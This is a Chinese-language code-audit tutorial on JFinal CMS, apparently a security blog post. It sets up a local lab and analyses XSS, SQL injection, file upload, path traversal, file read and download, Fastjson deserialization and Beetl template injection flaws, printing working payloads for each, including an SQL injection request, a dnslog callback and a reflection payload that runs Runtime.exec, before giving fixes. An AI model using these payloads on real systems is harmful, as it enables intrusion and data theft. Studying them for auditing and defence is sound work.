JAVA代码审计-jfinal
字数 2819 2025-08-22 12:22:54

JFinal CMS 代码审计与漏洞分析教学文档

一、JFinal CMS 简介

JFinal CMS 是一个基于 Java 开发的功能强大的信息咨询网站系统,采用以下技术栈:

  • Web 框架:简洁强大的 JFinal
  • 模板引擎:Beetl
  • 数据库:MySQL
  • 前端框架:Bootstrap

主要功能特点:

  • 支持 OAuth2 认证
  • 账号注册、密码加密
  • 评论及回复功能
  • 消息提示系统
  • 网站访问量统计
  • 文章评论数和浏览量统计
  • 完善的权限管理系统

后台功能模块包括:

  • 栏目管理、公告管理、滚动图片管理
  • 文章管理、回复管理、意见反馈
  • 相册管理、图片管理、专辑管理、视频管理
  • 缓存更新、友情链接、访问统计
  • 联系人管理、模板管理、组织机构管理
  • 用户管理、角色管理、菜单管理
  • 数据字典管理

二、环境搭建

1. 开发环境要求

  • IDE:IntelliJ IDEA 2022
  • JDK:1.8.0_112
  • Web 服务器:Apache Tomcat 9.0.68

2. 搭建步骤

  1. 获取源码

    git clone https://github.com/jflyfox/jfinal_cms
    
  2. 配置编辑器
    修改 src/main/webapp/static/component/filemanager/scripts/filemanager.config.js

    "fileRoot": "/jfinal_cms/",
    "baseUrl": "http://127.0.0.1:8081/jfinal_cms/",
    
  3. 数据库配置

    • 创建数据库:jflyfox_cms
    • 导入 SQL 文件
    • 修改数据库连接配置:
      db_type=mysql
      mysql.jdbcUrl = jdbc:mysql://127.0.0.1:3306/jflyfox_cms?characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull&allowPublicKeyRetrieval=true&serverTimezone=UTC&useSSL=false
      mysql.user = root
      mysql.password = root
      mysql.driverClass = com.mysql.cj.jdbc.Driver
      
  4. Redis 配置

    # 序列化工具 java,fst
    CACHE.SERIALIZER.DEFAULT=java
    # 缓存工具 RedisCache,MemoryCache,MemorySerializeCache
    CACHE.NAME=MemorySerializeCache
    #redis
    redis.host=127.0.0.1
    redis.port=6379
    redis.maxIdel=300
    redis.maxWait=300000
    redis.poolTimeWait=300000
    redis.password=
    
  5. 启动应用

    • 运行 Tomcat
    • 访问地址:http://localhost:8081/jfinal_cms/home
    • 默认账号:
      • 管理员:admin/admin123
      • 普通用户:test/123456
    • 后台地址:http://localhost:8081/jfinal_cms/admin

三、漏洞分析与利用

1. XSS 漏洞

漏洞位置src/main/java/com/jflyfox/modules/front/controller/PersonController.java

漏洞分析

  • save() 方法接收用户输入并直接更新到数据库
  • 无任何过滤措施
  • 前端模板直接输出未转义的用户输入

关键代码

public void save() {
    JSONObject json = new JSONObject();
    json.put("status", 2); // 失败
    SysUser user = (SysUser) getSessionUser();
    int userid = user.getInt("userid");
    SysUser model = getModel(SysUser.class);
    
    if (userid != model.getInt("userid")) {
        json.put("msg", "提交数据错误!");
        renderJson(json.toJSONString());
        return;
    }
    // 直接更新,无过滤
    model.update();
}

前端模板

<div class="col-md-9">
    <strong>${user.realname!''}</strong>
    <p style="word-break: break-all;word-wrap: break-word;">
        ${user.remark!'这个家伙太懒了,暂无说明'}
    </p>
</div>

利用方式
修改用户信息时,在 realnameremark 字段插入 XSS 代码:

m<svg/onload=alert(1)>

2. SQL 注入漏洞

漏洞位置src/main/java/com/jflyfox/modules/admin/article/ArticleController.java

漏洞分析

  • list() 方法直接拼接 orderBy 参数到 SQL 语句
  • 未使用预编译处理排序参数

关键代码

public void list() {
    TbArticle model = getModelByAttr(TbArticle.class);
    SQLUtils sql = new SQLUtils(" from tb_article t left join tb_folder f on f.id = t.folder_id where 1 = 1 ");
    
    if (model.getAttrValues().length != 0) {
        sql.setAlias("t");
        sql.whereLike("title", model.getStr("title"));
        sql.whereEquals("folder_id", model.getInt("folder_id"));
        sql.whereEquals("status", model.getInt("status"));
    }
    
    int siteId = getSessionUser().getBackSiteId();
    sql.append(" and site_id = " + siteId);
    
    // 直接拼接 orderBy 参数
    String orderBy = getBaseForm().getOrderBy();
    if (StrUtils.isEmpty(orderBy)) {
        sql.append(" order by t.folder_id,t.sort,t.create_time desc ");
    } else {
        sql.append(" order by t.").append(orderBy);
    }
    // 执行查询
    Db.paginate(getPaginator(), "select t.*,f.name as folder_name ", sql.toString()).renderJson();
}

利用方式
发送以下请求触发注入:

POST /jfinal_cms/admin/article/list HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 187

form.orderColumn=%2b+0 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23&form.orderAsc=&attr.folder_id=256&attr.title=&attr.status=1&totalRecords=1&pageNo=1&pageSize=20&length=10

3. 任意文件上传漏洞

漏洞位置src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java

漏洞分析

  • 上传文件时未校验文件类型
  • 可直接上传 JSP 文件
  • 但 JFinal 默认阻止直接访问 JSP 文件

关键代码

public void upload() {
    // 处理文件上传
    fm.add(getRequest());
    // ...
}

// JFinalFilter 中阻止 JSP 访问
if (constants.getDenyAccessJsp() && isJsp(target)) {
    com.jfinal.kit.HandlerKit.renderError404(request, response, isHandled);
    return;
}

利用方式

  1. 后台访问"模板管理"->"文件上传"
  2. 上传 JSP 文件(如 webshell)
  3. 使用 BurpSuite 拦截修改上传请求

绕过限制
虽然上传了 JSP 文件,但由于 JFinal 的防护机制,无法直接访问。需要结合其他漏洞利用。

4. 目录穿越漏洞

漏洞位置src/main/java/com/jflyfox/modules/filemanager/FileManager.java

漏洞分析

  • currentPath 参数可控
  • 未对路径进行安全校验
  • 可结合文件上传或文件读取漏洞利用

关键代码

try {
    currentPath = params.get("currentpath");
    respPath = currentPath;
    currentPath = new String(currentPath.getBytes("ISO8859-1"), "UTF-8");
    currentPath = getFilePath(currentPath);
} catch (UnsupportedEncodingException e) {
    e.printStackTrace();
}

5. Fastjson 反序列化漏洞(前台)

漏洞位置src/main/java/com/jflyfox/api/form/ApiForm.java

漏洞分析

  • 使用 Fastjson 1.2.62 版本(存在已知漏洞)
  • 直接解析用户可控的 JSON 数据

关键代码

private JSONObject getParams() {
    JSONObject json = null;
    try {
        String params = "";
        params = this.p;
        boolean flag = ConfigCache.getValueToBoolean("API.PARAM.ENCRYPT");
        if (flag) {
            params = ApiUtils.decode(params);
        }
        json = JSON.parseObject(params); // 直接解析
    } catch (Exception e) {
        log.error("apiform json parse fail:" + p);
        return new JSONObject();
    }
    return json;
}

利用方式

POST /jfinal_cms/api/action/login?version=1.0.1&apiNo=1000000&time=20170314160401 HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

p={"@type":"java.net.Inet4Address","val":"xxx.qjfws9.dnslog.cn"}

6. Fastjson 反序列化漏洞(后台)

漏洞位置src/main/java/com/baidu/ueditor/ConfigManager.java

漏洞分析

  • 读取 config.json 文件内容并使用 Fastjson 解析
  • 攻击者可上传恶意 config.json 文件触发反序列化

关键代码

private void initEnv() throws FileNotFoundException, IOException {
    File file = new File(this.originalPath);
    if (!file.isAbsolute()) {
        file = new File(file.getAbsolutePath());
    }
    this.parentPath = file.getParent();
    String configContent = this.readFile(this.getConfigPath());
    try {
        JSONObject jsonConfig = JSONObject.parseObject(configContent); // 反序列化
        this.jsonConfig = jsonConfig;
    } catch (Exception e) {
        this.jsonConfig = null;
    }
}

利用方式

  1. 上传恶意 config.json 文件
  2. 访问 http://localhost:8081/jfinal_cms/ueditor 触发

7. 任意文件读取漏洞

漏洞位置src/main/java/com/jflyfox/modules/filemanager/FileManager.java

漏洞分析

  • editFile() 方法直接读取指定路径文件
  • 未对路径进行安全校验

关键代码

public JSONObject editFile() {
    JSONObject array = new JSONObject();
    try {
        String content = FileManagerUtils.readString(getRealFilePath());
        content = FileManagerUtils.encodeContent(content);
        array.put("Path", this.get.get("path"));
        array.put("Content", content);
        array.put("Error", "");
        array.put("Code", 0);
    }
    // ...
}

利用方式

GET /jfinal_cms/admin/filemanager?mode=editfile&path=/web-inf/classes/conf/db.properties&config=filemanager.config.js&time=855 HTTP/1.1
Host: localhost:8081

8. 任意文件下载漏洞

漏洞位置src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java

漏洞分析

  • download() 方法直接提供文件下载
  • 未对路径进行安全校验

关键代码

public void download(HttpServletResponse resp) {
    File file = new File(getRealFilePath());
    if (this.get.get("path") != null && file.exists()) {
        resp.setHeader("Content-type", "application/force-download");
        resp.setHeader("Content-Disposition", "inline;filename=\"" + fileRoot + this.get.get("path"));
        resp.setHeader("Content-Transfer-Encoding", "Binary");
        resp.setHeader("Content-length", "" + file.length());
        resp.setHeader("Content-Type", "application/octet-stream");
        resp.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName());
        readFile(resp, file);
    }
    // ...
}

9. SSTI 模板注入漏洞

漏洞分析

  • 使用 Beetl 模板引擎
  • 支持 ${@类.方法} 语法执行 Java 代码
  • 虽然限制了 java.lang.Runtime 等类的直接使用,但可通过反射绕过

利用方式
在模板中添加以下代码:

${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

绕过限制
使用反射调用 Runtime 执行命令:

java.lang.Class.forName("java.lang.Runtime")
    .getMethod("exec", String.class)
    .invoke(
        java.lang.Class.forName("java.lang.Runtime")
            .getMethod("getRuntime",null)
            .invoke(null,null),
        "calc"
    )

四、修复建议

  1. XSS 漏洞

    • 对所有用户输入进行 HTML 实体编码
    • 使用 Beetl 的安全输出语法:${user.realname!''} 改为 ${user.realname,xss!''}
  2. SQL 注入

    • 使用预编译语句处理所有 SQL 参数
    • orderBy 等参数进行白名单校验
  3. 文件上传漏洞

    • 限制上传文件类型
    • 校验文件内容而不仅是扩展名
    • 将上传文件存储在非 web 可访问目录
  4. Fastjson 漏洞

    • 升级到最新安全版本
    • 使用 JSON.parseObject(jsonStr, Feature.SafeMode) 安全模式
  5. 文件操作漏洞

    • 对文件路径进行规范化处理
    • 限制文件操作目录范围
    • 使用白名单校验允许访问的文件
  6. SSTI 漏洞

    • 禁用或限制模板中的 Java 代码执行
    • 配置 Beetl 的安全策略
    • 对模板编辑权限进行严格控制
  7. 通用建议

    • 实施最小权限原则
    • 对所有用户输入进行严格校验
    • 定期进行安全审计和代码审查
    • 保持所有依赖库更新到最新安全版本
JFinal CMS 代码审计与漏洞分析教学文档 一、JFinal CMS 简介 JFinal CMS 是一个基于 Java 开发的功能强大的信息咨询网站系统,采用以下技术栈: Web 框架:简洁强大的 JFinal 模板引擎:Beetl 数据库:MySQL 前端框架:Bootstrap 主要功能特点: 支持 OAuth2 认证 账号注册、密码加密 评论及回复功能 消息提示系统 网站访问量统计 文章评论数和浏览量统计 完善的权限管理系统 后台功能模块包括: 栏目管理、公告管理、滚动图片管理 文章管理、回复管理、意见反馈 相册管理、图片管理、专辑管理、视频管理 缓存更新、友情链接、访问统计 联系人管理、模板管理、组织机构管理 用户管理、角色管理、菜单管理 数据字典管理 二、环境搭建 1. 开发环境要求 IDE:IntelliJ IDEA 2022 JDK:1.8.0_ 112 Web 服务器:Apache Tomcat 9.0.68 2. 搭建步骤 获取源码 : 配置编辑器 : 修改 src/main/webapp/static/component/filemanager/scripts/filemanager.config.js : 数据库配置 : 创建数据库: jflyfox_cms 导入 SQL 文件 修改数据库连接配置: Redis 配置 : 启动应用 : 运行 Tomcat 访问地址: http://localhost:8081/jfinal_cms/home 默认账号: 管理员:admin/admin123 普通用户:test/123456 后台地址: http://localhost:8081/jfinal_cms/admin 三、漏洞分析与利用 1. XSS 漏洞 漏洞位置 : src/main/java/com/jflyfox/modules/front/controller/PersonController.java 漏洞分析 : save() 方法接收用户输入并直接更新到数据库 无任何过滤措施 前端模板直接输出未转义的用户输入 关键代码 : 前端模板 : 利用方式 : 修改用户信息时,在 realname 或 remark 字段插入 XSS 代码: 2. SQL 注入漏洞 漏洞位置 : src/main/java/com/jflyfox/modules/admin/article/ArticleController.java 漏洞分析 : list() 方法直接拼接 orderBy 参数到 SQL 语句 未使用预编译处理排序参数 关键代码 : 利用方式 : 发送以下请求触发注入: 3. 任意文件上传漏洞 漏洞位置 : src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java 漏洞分析 : 上传文件时未校验文件类型 可直接上传 JSP 文件 但 JFinal 默认阻止直接访问 JSP 文件 关键代码 : 利用方式 : 后台访问"模板管理"->"文件上传" 上传 JSP 文件(如 webshell) 使用 BurpSuite 拦截修改上传请求 绕过限制 : 虽然上传了 JSP 文件,但由于 JFinal 的防护机制,无法直接访问。需要结合其他漏洞利用。 4. 目录穿越漏洞 漏洞位置 : src/main/java/com/jflyfox/modules/filemanager/FileManager.java 漏洞分析 : currentPath 参数可控 未对路径进行安全校验 可结合文件上传或文件读取漏洞利用 关键代码 : 5. Fastjson 反序列化漏洞(前台) 漏洞位置 : src/main/java/com/jflyfox/api/form/ApiForm.java 漏洞分析 : 使用 Fastjson 1.2.62 版本(存在已知漏洞) 直接解析用户可控的 JSON 数据 关键代码 : 利用方式 : 6. Fastjson 反序列化漏洞(后台) 漏洞位置 : src/main/java/com/baidu/ueditor/ConfigManager.java 漏洞分析 : 读取 config.json 文件内容并使用 Fastjson 解析 攻击者可上传恶意 config.json 文件触发反序列化 关键代码 : 利用方式 : 上传恶意 config.json 文件 访问 http://localhost:8081/jfinal_cms/ueditor 触发 7. 任意文件读取漏洞 漏洞位置 : src/main/java/com/jflyfox/modules/filemanager/FileManager.java 漏洞分析 : editFile() 方法直接读取指定路径文件 未对路径进行安全校验 关键代码 : 利用方式 : 8. 任意文件下载漏洞 漏洞位置 : src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java 漏洞分析 : download() 方法直接提供文件下载 未对路径进行安全校验 关键代码 : 9. SSTI 模板注入漏洞 漏洞分析 : 使用 Beetl 模板引擎 支持 ${@类.方法} 语法执行 Java 代码 虽然限制了 java.lang.Runtime 等类的直接使用,但可通过反射绕过 利用方式 : 在模板中添加以下代码: 绕过限制 : 使用反射调用 Runtime 执行命令: 四、修复建议 XSS 漏洞 : 对所有用户输入进行 HTML 实体编码 使用 Beetl 的安全输出语法: ${user.realname!''} 改为 ${user.realname,xss!''} SQL 注入 : 使用预编译语句处理所有 SQL 参数 对 orderBy 等参数进行白名单校验 文件上传漏洞 : 限制上传文件类型 校验文件内容而不仅是扩展名 将上传文件存储在非 web 可访问目录 Fastjson 漏洞 : 升级到最新安全版本 使用 JSON.parseObject(jsonStr, Feature.SafeMode) 安全模式 文件操作漏洞 : 对文件路径进行规范化处理 限制文件操作目录范围 使用白名单校验允许访问的文件 SSTI 漏洞 : 禁用或限制模板中的 Java 代码执行 配置 Beetl 的安全策略 对模板编辑权限进行严格控制 通用建议 : 实施最小权限原则 对所有用户输入进行严格校验 定期进行安全审计和代码审查 保持所有依赖库更新到最新安全版本